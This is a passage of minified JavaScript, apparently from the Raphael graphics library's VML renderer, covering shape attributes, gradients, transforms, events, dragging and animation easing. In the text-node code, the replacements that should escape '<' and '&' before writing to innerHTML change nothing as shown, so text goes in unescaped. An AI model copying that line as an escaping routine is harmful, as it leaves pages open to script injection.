bN(d,c,b),g={fill:"none",stroke:"#000"};a&&(g.path=a);f.type="path";f.path=[];f.Path=p;bK(f,g);b.canvas[l](c);return f};bK=function(c,d){c.attrs=c.attrs||{};var e=c.node,h=c.attrs,i=e.style,j,k=(d.x!=h.x||d.y!=h.y||d.width!=h.width||d.height!=h.height||d.r!=h.r)&&c.type=="rect",m=c;for(var n in d)d[f](n)&&(h[n]=d[n]);if(k){h.path=cc(h.x,h.y,h.width,h.height,h.r);c.X=h.x;c.Y=h.y;c.W=h.width;c.H=h.height}d.href&&(e.href=d.href);d.title&&(e.title=d.title);d.target&&(e.target=d.target);d.cursor&&(i.cursor=d.cursor);"blur"in d&&c.blur(d.blur);if(d.path&&c.type=="path"||k)e.path=cb(h.path);d.rotation!=null&&c.rotate(d.rotation,true);if(d.translation){j=r(d.translation)[s](b);cz.call(c,j[0],j[1]);if(c._.rt.cx!=null){c._.rt.cx+=+j[0];c._.rt.cy+=+j[1];c.setBox(c.attrs,j[0],j[1])}}if(d.scale){j=r(d.scale)[s](b);c.scale(+j[0]||1,+j[1]||+j[0]||1,+j[2]||null,+j[3]||null)}if("clip-rect"in d){var o=r(d["clip-rect"])[s](b);if(o[w]==4){o[2]=+o[2]+ +o[0];o[3]=+o[3]+ +o[1];var q=e.clipRect||g.createElement("div"),t=q.style,u=e.parentNode;t.clip=a.format("rect({1}px {2}px {3}px {0}px)",o);if(!e.clipRect){t.position="absolute";t.top=0;t.left=0;t.width=c.paper.width+"px";t.height=c.paper.height+"px";u.parentNode.insertBefore(q,u);q[l](u);e.clipRect=q}}d["clip-rect"]||e.clipRect&&(e.clipRect.style.clip=p)}c.type=="image"&&d.src&&(e.src=d.src);if(c.type=="image"&&d.opacity){e.filterOpacity=U+".Alpha(opacity="+d.opacity*100+")";i.filter=(e.filterMatrix||p)+(e.filterOpacity||p)}d.font&&(i.font=d.font);d["font-family"]&&(i.fontFamily="\""+d["font-family"][s](",")[0][Y](/^['"]+|['"]+$/g,p)+"\"");d["font-size"]&&(i.fontSize=d["font-size"]);d["font-weight"]&&(i.fontWeight=d["font-weight"]);d["font-style"]&&(i.fontStyle=d["font-style"]);if(d.opacity!=null||d["stroke-width"]!=null||d.fill!=null||d.stroke!=null||d["stroke-width"]!=null||d["stroke-opacity"]!=null||d["fill-opacity"]!=null||d["stroke-dasharray"]!=null||d["stroke-miterlimit"]!=null||d["stroke-linejoin"]!=null||d["stroke-linecap"]!=null){e=c.shape||e;var v=e.getElementsByTagName(I)&&e.getElementsByTagName(I)[0],x=false;!v&&(x=v=cd(I));if("fill-opacity"in d||"opacity"in d){var y=((+h["fill-opacity"]+1||2)-1)*((+h.opacity+1||2)-1)*((+a.getRGB(d.fill).o+1||2)-1);y=A(z(y,0),1);v.opacity=y}d.fill&&(v.on=true);if(v.on==null||d.fill=="none")v.on=false;if(v.on&&d.fill){var B=d.fill.match(M);if(B){v.src=B[1];v.type="tile"}else{v.color=a.getRGB(d.fill).hex;v.src=p;v.type="solid";if(a.getRGB(d.fill).error&&(m.type in{circle:1,ellipse:1}||r(d.fill).charAt()!="r")&&bI(m,d.fill)){h.fill="none";h.gradient=d.fill}}}x&&e[l](v);var C=e.getElementsByTagName("stroke")&&e.getElementsByTagName("stroke")[0],D=false;!C&&(D=C=cd("stroke"));if(d.stroke&&d.stroke!="none"||d["stroke-width"]||d["stroke-opacity"]!=null||d["stroke-dasharray"]||d["stroke-miterlimit"]||d["stroke-linejoin"]||d["stroke-linecap"])C.on=true;(d.stroke=="none"||C.on==null||d.stroke==0||d["stroke-width"]==0)&&(C.on=false);var E=a.getRGB(d.stroke);C.on&&d.stroke&&(C.color=E.hex);y=((+h["stroke-opacity"]+1||2)-1)*((+h.opacity+1||2)-1)*((+E.o+1||2)-1);var F=(S(d["stroke-width"])||1)*0.75;y=A(z(y,0),1);d["stroke-width"]==null&&(F=h["stroke-width"]);d["stroke-width"]&&(C.weight=F);F&&F<1&&(y*=F)&&(C.weight=1);C.opacity=y;d["stroke-linejoin"]&&(C.joinstyle=d["stroke-linejoin"]||"miter");C.miterlimit=d["stroke-miterlimit"]||8;d["stroke-linecap"]&&(C.endcap=d["stroke-linecap"]=="butt"?"flat":d["stroke-linecap"]=="square"?"square":"round");if(d["stroke-dasharray"]){var G={"-":"shortdash",".":"shortdot","-.":"shortdashdot","-..":"shortdashdotdot",". ":"dot","- ":"dash","--":"longdash","- .":"dashdot","--.":"longdashdot","--..":"longdashdotdot"};C.dashstyle=G[f](d["stroke-dasharray"])?G[d["stroke-dasharray"]]:p}D&&e[l](C)}if(m.type=="text"){i=m.paper.span.style;h.font&&(i.font=h.font);h["font-family"]&&(i.fontFamily=h["font-family"]);h["font-size"]&&(i.fontSize=h["font-size"]);h["font-weight"]&&(i.fontWeight=h["font-weight"]);h["font-style"]&&(i.fontStyle=h["font-style"]);m.node.string&&(m.paper.span.innerHTML=r(m.node.string)[Y](/</g,"<")[Y](/&/g,"&")[Y](/\n/g,"<br>"));m.W=h.w=m.paper.span.offsetWidth;m.H=h.h=m.paper.span.offsetHeight;m.X=h.x;m.Y=h.y+Q(m.H/2);switch(h["text-anchor"]){case"start":m.node.style["v-text-align"]="left";m.bbx=Q(m.W/2);break;case"end":m.node.style["v-text-align"]="right";m.bbx=-Q(m.W/2);break;default:m.node.style["v-text-align"]="center";break}}};bI=function(a,b){a.attrs=a.attrs||{};var c=a.attrs,d,e="linear",f=".5 .5";a.attrs.gradient=b;b=r(b)[Y](bd,function(a,b,c){e="radial";if(b&&c){b=S(b);c=S(c);C(b-0.5,2)+C(c-0.5,2)>0.25&&(c=y.sqrt(0.25-C(b-0.5,2))*((c>0.5)*2-1)+0.5);f=b+q+c}return p});b=b[s](/\s*\-\s*/);if(e=="linear"){var g=b.shift();g=-S(g);if(isNaN(g))return null}var h=bx(b);if(!h)return null;a=a.shape||a.node;d=a.getElementsByTagName(I)[0]||cd(I);!d.parentNode&&a.appendChild(d);if(h[w]){d.on=true;d.method="none";d.color=h[0].color;d.color2=h[h[w]-1].color;var i=[];for(var j=0,k=h[w];j<k;j++)h[j].offset&&i[L](h[j].offset+q+h[j].color);d.colors&&(d.colors.value=i[w]?i[v]():"0% "+d.color);if(e=="radial"){d.type="gradientradial";d.focus="100%";d.focussize=f;d.focusposition=f}else{d.type="gradient";d.angle=(270-g)%360}}return 1};bN=function(b,c,d){var e=0,f=0,g=0,h=1;this[0]=b;this.id=a._oid++;this.node=b;b.raphael=this;this.X=0;this.Y=0;this.attrs={};this.Group=c;this.paper=d;this._={tx:0,ty:0,rt:{deg:0},sx:1,sy:1};!d.bottom&&(d.bottom=this);this.prev=d.top;d.top&&(d.top.next=this);d.top=this;this.next=null};bO=bN[e];bO.rotate=function(a,c,d){if(this.removed)return this;if(a==null){if(this._.rt.cx)return[this._.rt.deg,this._.rt.cx,this._.rt.cy][v](q);return this._.rt.deg}a=r(a)[s](b);if(a[w]-1){c=S(a[1]);d=S(a[2])}a=S(a[0]);c!=null?this._.rt.deg=a:this._.rt.deg+=a;d==null&&(c=null);this._.rt.cx=c;this._.rt.cy=d;this.setBox(this.attrs,c,d);this.Group.style.rotation=this._.rt.deg;return this};bO.setBox=function(a,b,c){if(this.removed)return this;var d=this.Group.style,e=this.shape&&this.shape.style||this.node.style;a=a||{};for(var g in a)a[f](g)&&(this.attrs[g]=a[g]);b=b||this._.rt.cx;c=c||this._.rt.cy;var h=this.attrs,i,j,k,l;switch(this.type){case"circle":i=h.cx-h.r;j=h.cy-h.r;k=l=h.r*2;break;case"ellipse":i=h.cx-h.rx;j=h.cy-h.ry;k=h.rx*2;l=h.ry*2;break;case"image":i=+h.x;j=+h.y;k=h.width||0;l=h.height||0;break;case"text":this.textpath.v=["m",Q(h.x),", ",Q(h.y-2),"l",Q(h.x)+1,", ",Q(h.y-2)][v](p);i=h.x-Q(this.W/2);j=h.y-this.H/2;k=this.W;l=this.H;break;case"rect":case"path":if(this.attrs.path){var m=bn(this.attrs.path);i=m.x;j=m.y;k=m.width;l=m.height}else{i=0;j=0;k=this.paper.width;l=this.paper.height}break;default:i=0;j=0;k=this.paper.width;l=this.paper.height;break}b=b==null?i+k/2:b;c=c==null?j+l/2:c;var n=b-this.paper.width/2,o=c-this.paper.height/2,q;d.left!=(q=n+"px")&&(d.left=q);d.top!=(q=o+"px")&&(d.top=q);this.X=ca[f](this.type)?-n:i;this.Y=ca[f](this.type)?-o:j;this.W=k;this.H=l;if(ca[f](this.type)){e.left!=(q=-n*b_+"px")&&(e.left=q);e.top!=(q=-o*b_+"px")&&(e.top=q)}else if(this.type=="text"){e.left!=(q=-n+"px")&&(e.left=q);e.top!=(q=-o+"px")&&(e.top=q)}else{d.width!=(q=this.paper.width+"px")&&(d.width=q);d.height!=(q=this.paper.height+"px")&&(d.height=q);e.left!=(q=i-n+"px")&&(e.left=q);e.top!=(q=j-o+"px")&&(e.top=q);e.width!=(q=k+"px")&&(e.width=q);e.height!=(q=l+"px")&&(e.height=q)}};bO.hide=function(){!this.removed&&(this.Group.style.display="none");return this};bO.show=function(){!this.removed&&(this.Group.style.display="block");return this};bO.getBBox=function(){if(this.removed)return this;if(ca[f](this.type))return bn(this.attrs.path);return{x:this.X+(this.bbx||0),y:this.Y,width:this.W,height:this.H}};bO.remove=function(){if(this.removed)return;bA(this,this.paper);this.node.parentNode.removeChild(this.node);this.Group.parentNode.removeChild(this.Group);this.shape&&this.shape.parentNode.removeChild(this.shape);for(var a in this)delete this[a];this.removed=true};bO.attr=function(b,c){if(this.removed)return this;if(b==null){var d={};for(var e in this.attrs)this.attrs[f](e)&&(d[e]=this.attrs[e]);this._.rt.deg&&(d.rotation=this.rotate());(this._.sx!=1||this._.sy!=1)&&(d.scale=this.scale());d.gradient&&d.fill=="none"&&(d.fill=d.gradient)&&delete d.gradient;return d}if(c==null&&a.is(b,"string")){if(b=="translation")return cz.call(this);if(b=="rotation")return this.rotate();if(b=="scale")return this.scale();if(b==I&&this.attrs.fill=="none"&&this.attrs.gradient)return this.attrs.gradient;return this.attrs[b]}if(this.attrs&&c==null&&a.is(b,G)){var g,h={};for(e=0,g=b[w];e<g;e++)h[b[e]]=this.attr(b[e]);return h}var i;if(c!=null){i={};i[b]=c}c==null&&a.is(b,"object")&&(i=b);if(i){for(var j in this.paper.customAttributes)if(this.paper.customAttributes[f](j)&&i[f](j)&&a.is(this.paper.customAttributes[j],"function")){var k=this.paper.customAttributes[j].apply(this,[][n](i[j]));this.attrs[j]=i[j];for(var l in k)k[f](l)&&(i[l]=k[l])}i.text&&this.type=="text"&&(this.node.string=i.text);bK(this,i);i.gradient&&(({circle:1,ellipse:1})[f](this.type)||r(i.gradient).charAt()!="r")&&bI(this,i.gradient);(!ca[f](this.type)||this._.rt.deg)&&this.setBox(this.attrs)}return this};bO.toFront=function(){!this.removed&&this.Group.parentNode[l](this.Group);this.paper.top!=this&&bB(this,this.paper);return this};bO.toBack=function(){if(this.removed)return this;if(this.Group.parentNode.firstChild!=this.Group){this.Group.parentNode.insertBefore(this.Group,this.Group.parentNode.firstChild);bC(this,this.paper)}return this};bO.insertAfter=function(a){if(this.removed)return this;a.constructor==cC&&(a=a[a.length-1]);a.Group.nextSibling?a.Group.parentNode.insertBefore(this.Group,a.Group.nextSibling):a.Group.parentNode[l](this.Group);bD(this,a,this.paper);return this};bO.insertBefore=function(a){if(this.removed)return this;a.constructor==cC&&(a=a[0]);a.Group.parentNode.insertBefore(this.Group,a.Group);bE(this,a,this.paper);return this};bO.blur=function(b){var c=this.node.runtimeStyle,d=c.filter;d=d.replace(bY,p);if(+b!==0){this.attrs.blur=b;c.filter=d+q+U+".Blur(pixelradius="+(+b||1.5)+")";c.margin=a.format("-{0}px 0 0 -{0}px",Q(+b||1.5))}else{c.filter=d;c.margin=0;delete this.attrs.blur}};bP=function(a,b,c,d){var e=cd("group"),f=cd("oval"),g=f.style;e.style.cssText="position:absolute;left:0;top:0;width:"+a.width+"px;height:"+a.height+"px";e.coordsize=b$;e.coordorigin=a.coordorigin;e[l](f);var h=new bN(f,e,a);h.type="circle";bK(h,{stroke:"#000",fill:"none"});h.attrs.cx=b;h.attrs.cy=c;h.attrs.r=d;h.setBox({x:b-d,y:c-d,width:d*2,height:d*2});a.canvas[l](e);return h};function cc(b,c,d,e,f){return f?a.format("M{0},{1}l{2},0a{3},{3},0,0,1,{3},{3}l0,{5}a{3},{3},0,0,1,{4},{3}l{6},0a{3},{3},0,0,1,{4},{4}l0,{7}a{3},{3},0,0,1,{3},{4}z",b+f,c,d-f*2,f,-f,e-f*2,f*2-d,f*2-e):a.format("M{0},{1}l{2},0,0,{3},{4},0z",b,c,d,e,-d)}bQ=function(a,b,c,d,e,f){var g=cc(b,c,d,e,f),h=a.path(g),i=h.attrs;h.X=i.x=b;h.Y=i.y=c;h.W=i.width=d;h.H=i.height=e;i.r=f;i.path=g;h.type="rect";return h};bR=function(a,b,c,d,e){var f=cd("group"),g=cd("oval"),h=g.style;f.style.cssText="position:absolute;left:0;top:0;width:"+a.width+"px;height:"+a.height+"px";f.coordsize=b$;f.coordorigin=a.coordorigin;f[l](g);var i=new bN(g,f,a);i.type="ellipse";bK(i,{stroke:"#000"});i.attrs.cx=b;i.attrs.cy=c;i.attrs.rx=d;i.attrs.ry=e;i.setBox({x:b-d,y:c-e,width:d*2,height:e*2});a.canvas[l](f);return i};bS=function(a,b,c,d,e,f){var g=cd("group"),h=cd("image");g.style.cssText="position:absolute;left:0;top:0;width:"+a.width+"px;height:"+a.height+"px";g.coordsize=b$;g.coordorigin=a.coordorigin;h.src=b;g[l](h);var i=new bN(h,g,a);i.type="image";i.attrs.src=b;i.attrs.x=c;i.attrs.y=d;i.attrs.w=e;i.attrs.h=f;i.setBox({x:c,y:d,width:e,height:f});a.canvas[l](g);return i};bT=function(b,c,d,e){var f=cd("group"),g=cd("shape"),h=g.style,i=cd("path"),j=i.style,k=cd("textpath");f.style.cssText="position:absolute;left:0;top:0;width:"+b.width+"px;height:"+b.height+"px";f.coordsize=b$;f.coordorigin=b.coordorigin;i.v=a.format("m{0},{1}l{2},{1}",Q(c*10),Q(d*10),Q(c*10)+1);i.textpathok=true;h.width=b.width;h.height=b.height;k.string=r(e);k.on=true;g[l](k);g[l](i);f[l](g);var m=new bN(k,f,b);m.shape=g;m.textpath=i;m.type="text";m.attrs.text=e;m.attrs.x=c;m.attrs.y=d;m.attrs.w=1;m.attrs.h=1;bK(m,{font:W.font,stroke:"none",fill:"#000"});m.setBox();b.canvas[l](f);return m};bU=function(a,b){var c=this.canvas.style;a==+a&&(a+="px");b==+b&&(b+="px");c.width=a;c.height=b;c.clip="rect(0 "+a+" "+b+" 0)";return this};var cd;g.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)");try{!g.namespaces.rvml&&g.namespaces.add("rvml","urn:schemas-microsoft-com:vml");cd=function(a){return g.createElement("<rvml:"+a+" class=\"rvml\">")}}catch(a){cd=function(a){return g.createElement("<"+a+" xmlns=\"urn:schemas-microsoft.com:vml\" class=\"rvml\">")}}bV=function(){var b=by[m](0,arguments),c=b.container,d=b.height,e,f=b.width,h=b.x,i=b.y;if(!c)throw new Error("VML container not found.");var k=new j,n=k.canvas=g.createElement("div"),o=n.style;h=h||0;i=i||0;f=f||512;d=d||342;f==+f&&(f+="px");d==+d&&(d+="px");k.width=1000;k.height=1000;k.coordsize=b_*1000+q+b_*1000;k.coordorigin="0 0";k.span=g.createElement("span");k.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;display:inline;";n[l](k.span);o.cssText=a.format("top:0;left:0;width:{0};height:{1};display:inline-block;position:relative;clip:rect(0 {0} {1} 0);overflow:hidden",f,d);if(c==1){g.body[l](n);o.left=h+"px";o.top=i+"px";o.position="absolute"}else c.firstChild?c.insertBefore(n,c.firstChild):c[l](n);bz.call(k,k,a.fn);return k};k.clear=function(){this.canvas.innerHTML=p;this.span=g.createElement("span");this.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;display:inline;";this.canvas[l](this.span);this.bottom=this.top=null};k.remove=function(){this.canvas.parentNode.removeChild(this.canvas);for(var a in this)this[a]=bF(a);return true}}var ce=navigator.userAgent.match(/Version\\x2f(.*?)\s/);navigator.vendor=="Apple Computer, Inc."&&(ce&&ce[1]<4||navigator.platform.slice(0,2)=="iP")?k.safari=function(){var a=this.rect(-99,-99,this.width+99,this.height+99).attr({stroke:"none"});h.setTimeout(function(){a.remove()})}:k.safari=function(){};var cf=function(){this.returnValue=false},cg=function(){return this.originalEvent.preventDefault()},ch=function(){this.cancelBubble=true},ci=function(){return this.originalEvent.stopPropagation()},cj=(function(){{if(g.addEventListener)return function(a,b,c,d){var e=o&&u[b]?u[b]:b,g=function(e){if(o&&u[f](b))for(var g=0,h=e.targetTouches&&e.targetTouches.length;g<h;g++){if(e.targetTouches[g].target==a){var i=e;e=e.targetTouches[g];e.originalEvent=i;e.preventDefault=cg;e.stopPropagation=ci;break}}return c.call(d,e)};a.addEventListener(e,g,false);return function(){a.removeEventListener(e,g,false);return true}};if(g.attachEvent)return function(a,b,c,d){var e=function(a){a=a||h.event;a.preventDefault=a.preventDefault||cf;a.stopPropagation=a.stopPropagation||ch;return c.call(d,a)};a.attachEvent("on"+b,e);var f=function(){a.detachEvent("on"+b,e);return true};return f}}})(),ck=[],cl=function(a){var b=a.clientX,c=a.clientY,d=g.documentElement.scrollTop||g.body.scrollTop,e=g.documentElement.scrollLeft||g.body.scrollLeft,f,h=ck.length;while(h--){f=ck[h];if(o){var i=a.touches.length,j;while(i--){j=a.touches[i];if(j.identifier==f.el._drag.id){b=j.clientX;c=j.clientY;(a.originalEvent?a.originalEvent:a).preventDefault();break}}}else a.preventDefault();b+=e;c+=d;f.move&&f.move.call(f.move_scope||f.el,b-f.el._drag.x,c-f.el._drag.y,b,c,a)}},cm=function(b){a.unmousemove(cl).unmouseup(cm);var c=ck.length,d;while(c--){d=ck[c];d.el._drag={};d.end&&d.end.call(d.end_scope||d.start_scope||d.move_scope||d.el,b)}ck=[]};for(var cn=t[w];cn--;)(function(b){a[b]=bN[e][b]=function(c,d){if(a.is(c,"function")){this.events=this.events||[];this.events.push({name:b,f:c,unbind:cj(this.shape||this.node||g,b,c,d||this)})}return this};a["un"+b]=bN[e]["un"+b]=function(a){var c=this.events,d=c[w];while(d--)if(c[d].name==b&&c[d].f==a){c[d].unbind();c.splice(d,1);!c.length&&delete this.events;return this}return this}})(t[cn]);bO.hover=function(a,b,c,d){return this.mouseover(a,c).mouseout(b,d||c)};bO.unhover=function(a,b){return this.unmouseover(a).unmouseout(b)};bO.drag=function(b,c,d,e,f,h){this._drag={};this.mousedown(function(i){(i.originalEvent||i).preventDefault();var j=g.documentElement.scrollTop||g.body.scrollTop,k=g.documentElement.scrollLeft||g.body.scrollLeft;this._drag.x=i.clientX+k;this._drag.y=i.clientY+j;this._drag.id=i.identifier;c&&c.call(f||e||this,i.clientX+k,i.clientY+j,i);!ck.length&&a.mousemove(cl).mouseup(cm);ck.push({el:this,move:b,end:d,move_scope:e,start_scope:f,end_scope:h})});return this};bO.undrag=function(b,c,d){var e=ck.length;while(e--)ck[e].el==this&&(ck[e].move==b&&ck[e].end==d)&&ck.splice(e++,1);!ck.length&&a.unmousemove(cl).unmouseup(cm)};k.circle=function(a,b,c){return bP(this,a||0,b||0,c||0)};k.rect=function(a,b,c,d,e){return bQ(this,a||0,b||0,c||0,d||0,e||0)};k.ellipse=function(a,b,c,d){return bR(this,a||0,b||0,c||0,d||0)};k.path=function(b){b&&!a.is(b,F)&&!a.is(b[0],G)&&(b+=p);return bH(a.format[m](a,arguments),this)};k.image=function(a,b,c,d,e){return bS(this,a||"about:blank",b||0,c||0,d||0,e||0)};k.text=function(a,b,c){return bT(this,a||0,b||0,r(c))};k.set=function(a){arguments[w]>1&&(a=Array[e].splice.call(arguments,0,arguments[w]));return new cC(a)};k.setSize=bU;k.top=k.bottom=null;k.raphael=a;function co(){return this.x+q+this.y}bO.resetScale=function(){if(this.removed)return this;this._.sx=1;this._.sy=1;this.attrs.scale="1 1"};bO.scale=function(a,b,c,d){if(this.removed)return this;if(a==null&&b==null)return{x:this._.sx,y:this._.sy,toString:co};b=b||a;!(+b)&&(b=a);var e,f,g,h,i=this.attrs;if(a!=0){var j=this.getBBox(),k=j.x+j.width/2,l=j.y+j.height/2,m=B(a/this._.sx),o=B(b/this._.sy);c=+c||c==0?c:k;d=+d||d==0?d:l;var r=this._.sx>0,s=this._.sy>0,t=~(~(a/B(a))),u=~(~(b/B(b))),x=m*t,y=o*u,z=this.node.style,A=c+B(k-c)*x*(k>c==r?1:-1),C=d+B(l-d)*y*(l>d==s?1:-1),D=a*t>b*u?o:m;switch(this.type){case"rect":case"image":var E=i.width*m,F=i.height*o;this.attr({height:F,r:i.r*D,width:E,x:A-E/2,y:C-F/2});break;case"circle":case"ellipse":this.attr({rx:i.rx*m,ry:i.ry*o,r:i.r*D,cx:A,cy:C});break;case"text":this.attr({x:A,y:C});break;case"path":var G=bp(i.path),H=true,I=r?x:m,J=s?y:o;for(var K=0,L=G[w];K<L;K++){var M=G[K],N=V.call(M[0]);{if(N=="M"&&H)continue;H=false}if(N=="A"){M[G[K][w]-2]*=I;M[G[K][w]-1]*=J;M[1]*=m;M[2]*=o;M[5]=+(t+u?!(!(+M[5])):!(+M[5]))}else if(N=="H")for(var O=1,P=M[w];O<P;O++)M[O]*=I;else if(N=="V")for(O=1,P=M[w];O<P;O++)M[O]*=J;else for(O=1,P=M[w];O<P;O++)M[O]*=O%2?I:J}var Q=bn(G);e=A-Q.x-Q.width/2;f=C-Q.y-Q.height/2;G[0][1]+=e;G[0][2]+=f;this.attr({path:G});break}if(this.type in{text:1,image:1}&&(t!=1||u!=1))if(this.transformations){this.transformations[2]="scale("[n](t,",",u,")");this.node[R]("transform",this.transformations[v](q));e=t==-1?-i.x-(E||0):i.x;f=u==-1?-i.y-(F||0):i.y;this.attr({x:e,y:f});i.fx=t-1;i.fy=u-1}else{this.node.filterMatrix=U+".Matrix(M11="[n](t,", M12=0, M21=0, M22=",u,", Dx=0, Dy=0, sizingmethod='auto expand', filtertype='bilinear')");z.filter=(this.node.filterMatrix||p)+(this.node.filterOpacity||p)}else if(this.transformations){this.transformations[2]=p;this.node[R]("transform",this.transformations[v](q));i.fx=0;i.fy=0}else{this.node.filterMatrix=p;z.filter=(this.node.filterMatrix||p)+(this.node.filterOpacity||p)}i.scale=[a,b,c,d][v](q);this._.sx=a;this._.sy=b}return this};bO.clone=function(){if(this.removed)return null;var a=this.attr();delete a.scale;delete a.translation;return this.paper[this.type]().attr(a)};var cp={},cq=function(b,c,d,e,f,g,h,i,j){var k=0,l=100,m=[b,c,d,e,f,g,h,i].join(),n=cp[m],o,p;!n&&(cp[m]=n={data:[]});n.timer&&clearTimeout(n.timer);n.timer=setTimeout(function(){delete cp[m]},2000);if(j!=null){var q=cq(b,c,d,e,f,g,h,i);l=~(~q)*10}for(var r=0;r<l+1;r++){if(n.data[j]>r)p=n.data[r*l];else{p=a.findDotsAtSegment(b,c,d,e,f,g,h,i,r/l);n.data[r]=p}r&&(k+=C(C(o.x-p.x,2)+C(o.y-p.y,2),0.5));if(j!=null&&k>=j)return p;o=p}if(j==null)return k},cr=function(b,c){return function(d,e,f){d=bw(d);var g,h,i,j,k="",l={},m,n=0;for(var o=0,p=d.length;o<p;o++){i=d[o];if(i[0]=="M"){g=+i[1];h=+i[2]}else{j=cq(g,h,i[1],i[2],i[3],i[4],i[5],i[6]);if(n+j>e){if(c&&!l.start){m=cq(g,h,i[1],i[2],i[3],i[4],i[5],i[6],e-n);k+=["C",m.start.x,m.start.y,m.m.x,m.m.y,m.x,m.y];if(f)return k;l.start=k;k=["M",m.x,m.y+"C",m.n.x,m.n.y,m.end.x,m.end.y,i[5],i[6]][v]();n+=j;g=+i[5];h=+i[6];continue}if(!b&&!c){m=cq(g,h,i[1],i[2],i[3],i[4],i[5],i[6],e-n);return{x:m.x,y:m.y,alpha:m.alpha}}}n+=j;g=+i[5];h=+i[6]}k+=i}l.end=k;m=b?n:c?l:a.findDotsAtSegment(g,h,i[1],i[2],i[3],i[4],i[5],i[6],1);m.alpha&&(m={x:m.x,y:m.y,alpha:m.alpha});return m}},cs=cr(1),ct=cr(),cu=cr(0,1);bO.getTotalLength=function(){if(this.type!="path")return;if(this.node.getTotalLength)return this.node.getTotalLength();return cs(this.attrs.path)};bO.getPointAtLength=function(a){if(this.type!="path")return;return ct(this.attrs.path,a)};bO.getSubpath=function(a,b){if(this.type!="path")return;if(B(this.getTotalLength()-b)<"1e-6")return cu(this.attrs.path,a).end;var c=cu(this.attrs.path,b,1);return a?cu(c,a).end:c};a.easing_formulas={linear:function(a){return a},"<":function(a){return C(a,3)},">":function(a){return C(a-1,3)+1},"<>":function(a){a=a*2;if(a<1)return C(a,3)/2;a-=2;return(C(a,3)+2)/2},backIn:function(a){var b=1.70158;return a*a*((b+1)*a-b)},backOut:function(a){a=a-1;var b=1.70158;return a*a*((b+1)*a+b)+1},elastic:function(a){if(a==0||a==1)return a;var b=0.3,c=b/4;return C(2,-10*a)*y.sin((a-c)*(2*D)/b)+1},bounce:function(a){var b=7.5625,c=2.75,d;if(a<1/c)d=b*a*a;else if(a<2/c){a-=1.5/c;d=b*a*a+0.75}else if(a<2.5/c){a-=2.25/c;d=b*a*a+0.9375}else{a-=2.625/c;d=b*a*a+0.984375}return d}};var cv=[],cw=function(){var b=+(new Date);for(var c=0;c<cv[w];c++){var d=cv[c];if(d.stop||d.el.removed)continue;var e=b-d.start,g=d.ms,h=d.easing,i=d.from,j=d.diff,k=d.to,l=d.t,m=d.el,n={},o;if(e<g){var r=h(e/g);for(var s in i)if(i[f](s)){switch(X[s]){case"along":o=r*g*j[s];k.back&&(o=k.len-o);var t=ct(k[s],o);m.translate(j.sx-j.x||0,j.sy-j.y||0);j.x=t.x;j.y=t.y;m.translate(t.x-j.sx,t.y-j.sy);k.rot&&m.rotate(j.r+t.alpha,t.x,t.y);break;case E:o=+i[s]+r*g*j[s];break;case"colour":o="rgb("+[cy(Q(i[s].r+r*g*j[s].r)),cy(Q(i[s].g+r*g*j[s].g)),cy(Q(i[s].b+r*g*j[s].b))][v](",")+")";break;case"path":o=[];for(var u=0,x=i[s][w];u<x;u++){o[u]=[i[s][u][0]];for(var y=1,z=i[s][u][w];y<z;y++)o[u][y]=+i[s][u][y]+r*g*j[s][u][y];o[u]=o[u][v](q)}o=o[v](q);break;case"csv":switch(s){case"translation":var A=r*g*j[s][0]-l.x,B=r*g*j[s][1]-l.y;l.x+=A;l.y+=B;o=A+q+B;break;case"rotation":o=+i[s][0]+r*g*j[s][0];i[s][1]&&(o+=","+i[s][1]+","+i[s][2]);break;case"scale":o=[+i[s][0]+r*g*j[s][0],+i[s][1]+r*g*j[s][1],2 in k[s]?k[s][2]:p,3 in k[s]?k[s][3]:p][v](q);break;case"clip-rect":o=[];u=4;while(u--)o[u]=+i[s][u]+r*g*j[s][u];break}break;default:var C=[].concat(i[s]);o=[];u=m.paper.customAttributes[s].length;while(u--)o[u]=+C[u]+r*g*j[s][u];break}n[s]=o}m.attr(n);m._run&&m._run.call(m)}else{if(k.along){t=ct(k.along,k.len*!k.back);m.translate(j.sx-(j.x||0)+t.x-j.sx,j.sy-(j.y||0)+t.y-j.sy);k.rot&&m.rotate(j.r+t.alpha,t.x,t.y)}(l.x||l.y)&&m.translate(-l.x,-l.y);k.scale&&(k.scale+=p);m.attr(k);cv.splice(c--,1)}}a.svg&&m&&m.paper&&m.paper.safari();cv[w]&&setTimeout(cw)},cx=function(b,c,d,e,f){var g=d-e;c.timeouts.push(setTimeout(function(){a.is(f,"function")&&f.call(c);c.animate(b,g,b.easing)},e))},cy=function(a){return z(A(a,255),0)},cz=function(a,b){if(a==null)return{x:this._.tx,y:this._.ty,toString:co};this._.tx+=+a;this._.ty+=+b;switch(this.type){case"circle":case"ellipse":this.attr({cx:+a+this.attrs.cx,cy:+b+this.attrs.cy});break;case"rect":case"image":case"text":this.attr({x:+a+this.attrs.x,y:+b+this.attrs.y});break;case"path":var c=bp(this.attrs.path);c[0][1]+=+a;c[0][2]+=+b;this.attr({path:c});break}return this};bO.animateWith=function(a,b,c,d,e){for(var f=0,g=cv.length;f<g;f++)cv[f].el.id==a.id&&(b.start=cv[f].start);return this.animate(b,c,d,e)};bO.animateAlong=cA();bO.animateAlongBack=cA(1);function cA(b){return function(c,d,e,f){var g={back:b};a.is(e,"function")?f=e:g.rot=e;c&&c.constructor==bN&&(c=c.attrs.path);c&&(g.along=c);return this.animate(g,d,f)}}function cB(a,b,c,d,e,f){var g=3*b,h=3*(d-b)-g,i=1-g-h,j=3*c,k=3*(e-c)-j,l=1-j-k;function m(a){return((i*a+h)*a+g)*a}function n(a,b){var c=o(a,b);return((l*c+k)*c+j)*c}function o(a,b){var c,d,e,f,j,k;for(e=a,k=0;k<8;k++){f=m(e)-a;if(B(f)<b)return e;j=(3*i*e+2*h)*e+g;if(B(j)<0.000001)break;e=e-f/j}c=0;d=1;e=a;if(e<c)return c;if(e>d)return d;while(c<d){f=m(e);if(B(f-a)<b)return e;a>f?c=e:d=e;e=(d-c)/2+c}return e}return n(a,1/(200*f))}bO.onAnimation=function(a){this._run=a||0;return this};bO.animate=function(c,d,e,g){var h=this;h.timeouts=h.timeouts||[];if(a.is(e,"function")||!e)g=e||null;if(h.removed){g&&g.call(h);return h}var i={},j={},k=false,l={};for(var m in 